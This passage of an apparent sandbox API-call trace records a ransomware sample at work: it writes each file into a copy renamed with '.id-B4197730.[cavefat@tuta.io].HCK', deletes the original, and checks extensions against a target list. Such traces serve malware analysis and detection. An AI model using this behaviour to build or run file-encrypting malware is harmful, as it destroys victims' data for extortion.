lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.708] SetEndOfFile (hFile=0x300) returned 1 [0148.709] CloseHandle (hObject=0x300) returned 1 [0148.709] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.709] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 1 [0148.709] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0148.709] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0148.709] lstrlenW (lpString=".doc") returned 4 [0148.709] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.709] lstrlenW (lpString=".docx") returned 5 [0148.709] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.709] lstrlenW (lpString=".pdf") returned 4 [0148.709] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.709] lstrlenW (lpString=".xls") returned 4 [0148.709] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.709] lstrlenW (lpString=".xlsx") returned 5 [0148.709] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.710] lstrlenW (lpString=".ppt") returned 4 [0148.710] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0148.710] lstrlenW (lpString=".zip") returned 4 [0148.710] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.710] lstrlenW (lpString=".rar") returned 4 [0148.710] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.710] lstrlenW (lpString=".bz2") returned 4 [0148.710] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.710] lstrlenW (lpString=".7z") returned 3 [0148.710] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0148.710] lstrlenW (lpString=".dbf") returned 4 [0148.710] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0148.710] lstrlenW (lpString=".1cd") returned 4 [0148.710] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0148.710] lstrlenW (lpString=".jpg") returned 4 [0148.710] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0148.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0148.710] lstrlenW (lpString=".doc") returned 4 [0148.710] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.710] lstrlenW (lpString=".docx") returned 5 [0148.710] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.710] lstrlenW (lpString=".pdf") returned 4 [0148.710] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.710] lstrlenW (lpString=".xls") returned 4 [0148.710] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.710] lstrlenW (lpString=".xlsx") returned 5 [0148.710] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.710] lstrlenW (lpString=".ppt") returned 4 [0148.710] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0148.710] lstrlenW (lpString=".zip") returned 4 [0148.710] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.710] lstrlenW (lpString=".rar") returned 4 [0148.710] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.710] lstrlenW (lpString=".bz2") returned 4 [0148.710] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.710] lstrlenW (lpString=".7z") returned 3 [0148.710] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0148.710] lstrlenW (lpString=".dbf") returned 4 [0148.710] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0148.710] lstrlenW (lpString=".1cd") returned 4 [0148.710] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0148.710] lstrlenW (lpString=".jpg") returned 4 [0148.710] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.711] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0148.711] lstrlenW (lpString="SetupResources.dll") returned 18 [0148.711] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0148.711] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=14168) returned 1 [0148.711] CloseHandle (hObject=0x300) returned 1 [0148.711] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 0x80 [0148.711] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.711] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0148.711] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.711] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.711] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0148.713] GetLastError () returned 0x0 [0148.713] ReadFile (in: hFile=0x300, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x3758, lpOverlapped=0x0) returned 1 [0148.714] WriteFile (in: hFile=0x330, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x3760, lpOverlapped=0x0) returned 1 [0148.715] ReadFile (in: hFile=0x300, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.715] WriteFile (in: hFile=0x330, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0148.715] SetEndOfFile (hFile=0x330) returned 1 [0148.715] CloseHandle (hObject=0x330) returned 1 [0148.716] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.716] SetEndOfFile (hFile=0x300) returned 1 [0148.717] CloseHandle (hObject=0x300) returned 1 [0148.717] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.718] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 1 [0148.718] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0148.718] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0148.718] lstrlenW (lpString=".doc") returned 4 [0148.718] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.718] lstrlenW (lpString=".docx") returned 5 [0148.718] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.718] lstrlenW (lpString=".pdf") returned 4 [0148.718] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.718] lstrlenW (lpString=".xls") returned 4 [0148.718] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.718] lstrlenW (lpString=".xlsx") returned 5 [0148.718] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.718] lstrlenW (lpString=".ppt") returned 4 [0148.718] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0148.719] lstrlenW (lpString=".zip") returned 4 [0148.719] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.719] lstrlenW (lpString=".rar") returned 4 [0148.719] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.719] lstrlenW (lpString=".bz2") returned 4 [0148.719] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.719] lstrlenW (lpString=".7z") returned 3 [0148.719] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0148.719] lstrlenW (lpString=".dbf") returned 4 [0148.719] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0148.719] lstrlenW (lpString=".1cd") returned 4 [0148.719] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0148.719] lstrlenW (lpString=".jpg") returned 4 [0148.719] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0148.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0148.719] lstrlenW (lpString=".doc") returned 4 [0148.719] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.719] lstrlenW (lpString=".docx") returned 5 [0148.719] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.719] lstrlenW (lpString=".pdf") returned 4 [0148.719] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.719] lstrlenW (lpString=".xls") returned 4 [0148.719] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.719] lstrlenW (lpString=".xlsx") returned 5 [0148.719] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.719] lstrlenW (lpString=".ppt") returned 4 [0148.719] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0148.719] lstrlenW (lpString=".zip") returned 4 [0148.719] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.719] lstrlenW (lpString=".rar") returned 4 [0148.719] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.719] lstrlenW (lpString=".bz2") returned 4 [0148.719] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.719] lstrlenW (lpString=".7z") returned 3 [0148.719] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0148.719] lstrlenW (lpString=".dbf") returned 4 [0148.719] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0148.719] lstrlenW (lpString=".1cd") returned 4 [0148.719] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0148.719] lstrlenW (lpString=".jpg") returned 4 [0148.720] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.720] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0148.720] lstrlenW (lpString="SetupResources.dll") returned 18 [0148.720] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0148.720] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=18776) returned 1 [0148.720] CloseHandle (hObject=0x300) returned 1 [0148.720] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 0x80 [0148.720] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.720] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0148.720] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.720] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.720] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0149.071] GetLastError () returned 0x0 [0149.071] ReadFile (in: hFile=0x300, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x4958, lpOverlapped=0x0) returned 1 [0149.092] WriteFile (in: hFile=0x370, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4960, lpOverlapped=0x0) returned 1 [0149.093] ReadFile (in: hFile=0x300, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.093] WriteFile (in: hFile=0x370, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0149.093] SetEndOfFile (hFile=0x370) returned 1 [0149.093] CloseHandle (hObject=0x370) returned 1 [0149.094] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.094] SetEndOfFile (hFile=0x300) returned 1 [0149.095] CloseHandle (hObject=0x300) returned 1 [0149.095] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.095] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 1 [0149.096] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0149.096] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0149.096] lstrlenW (lpString=".doc") returned 4 [0149.096] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0149.096] lstrlenW (lpString=".docx") returned 5 [0149.096] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0149.096] lstrlenW (lpString=".pdf") returned 4 [0149.096] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0149.096] lstrlenW (lpString=".xls") returned 4 [0149.096] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0149.096] lstrlenW (lpString=".xlsx") returned 5 [0149.096] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0149.096] lstrlenW (lpString=".ppt") returned 4 [0149.096] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0149.096] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0149.096] lstrlenW (lpString=".zip") returned 4 [0149.096] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0149.096] lstrlenW (lpString=".rar") returned 4 [0149.096] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0149.096] lstrlenW (lpString=".bz2") returned 4 [0149.096] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0149.096] lstrlenW (lpString=".7z") returned 3 [0149.096] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0149.096] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0149.096] lstrlenW (lpString=".dbf") returned 4 [0149.096] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0149.096] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0149.096] lstrlenW (lpString=".1cd") returned 4 [0149.096] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0149.096] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0149.096] lstrlenW (lpString=".jpg") returned 4 [0149.096] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0149.096] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0149.096] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0149.096] lstrlenW (lpString=".doc") returned 4 [0149.096] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0149.096] lstrlenW (lpString=".docx") returned 5 [0149.096] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0149.096] lstrlenW (lpString=".pdf") returned 4 [0149.096] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0149.096] lstrlenW (lpString=".xls") returned 4 [0149.096] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0149.096] lstrlenW (lpString=".xlsx") returned 5 [0149.096] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0149.096] lstrlenW (lpString=".ppt") returned 4 [0149.096] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0149.096] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0149.097] lstrlenW (lpString=".zip") returned 4 [0149.097] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0149.097] lstrlenW (lpString=".rar") returned 4 [0149.097] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0149.097] lstrlenW (lpString=".bz2") returned 4 [0149.097] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0149.097] lstrlenW (lpString=".7z") returned 3 [0149.097] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0149.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0149.097] lstrlenW (lpString=".dbf") returned 4 [0149.097] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0149.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0149.097] lstrlenW (lpString=".1cd") returned 4 [0149.097] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0149.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0149.097] lstrlenW (lpString=".jpg") returned 4 [0149.097] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0149.097] lstrcmpiW (lpString1=".ico", lpString2=".HCK") returned 1 [0149.097] lstrlenW (lpString="Rotate8.ico") returned 11 [0149.097] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0149.107] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=894) returned 1 [0149.107] CloseHandle (hObject=0x300) returned 1 [0149.107] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 0x80 [0149.107] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.107] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0149.107] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.107] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.107] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0149.108] GetLastError () returned 0x0 [0149.108] ReadFile (in: hFile=0x300, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x37e, lpOverlapped=0x0) returned 1 [0149.109] WriteFile (in: hFile=0x370, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x380, lpOverlapped=0x0) returned 1 [0149.110] ReadFile (in: hFile=0x300, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.110] WriteFile (in: hFile=0x370, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0xea, lpOverlapped=0x0) returned 1 [0149.110] SetEndOfFile (hFile=0x370) returned 1 [0149.110] CloseHandle (hObject=0x370) returned 1 [0149.111] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.111] SetEndOfFile (hFile=0x300) returned 1 [0149.112] CloseHandle (hObject=0x300) returned 1 [0149.112] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.112] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 1 [0149.112] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0149.112] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0149.112] lstrlenW (lpString=".doc") returned 4 [0149.112] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.112] lstrlenW (lpString=".docx") returned 5 [0149.112] lstrcmpiW (lpString1=".docx", lpString2="8.ico") returned -1 [0149.112] lstrlenW (lpString=".pdf") returned 4 [0149.112] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.112] lstrlenW (lpString=".xls") returned 4 [0149.112] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.112] lstrlenW (lpString=".xlsx") returned 5 [0149.113] lstrcmpiW (lpString1=".xlsx", lpString2="8.ico") returned -1 [0149.113] lstrlenW (lpString=".ppt") returned 4 [0149.113] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.113] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0149.113] lstrlenW (lpString=".zip") returned 4 [0149.113] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0149.113] lstrlenW (lpString=".rar") returned 4 [0149.113] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.113] lstrlenW (lpString=".bz2") returned 4 [0149.113] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.113] lstrlenW (lpString=".7z") returned 3 [0149.113] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.113] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0149.113] lstrlenW (lpString=".dbf") returned 4 [0149.113] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.113] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0149.113] lstrlenW (lpString=".1cd") returned 4 [0149.113] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.113] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0149.113] lstrlenW (lpString=".jpg") returned 4 [0149.113] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.113] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0149.113] lstrlenW 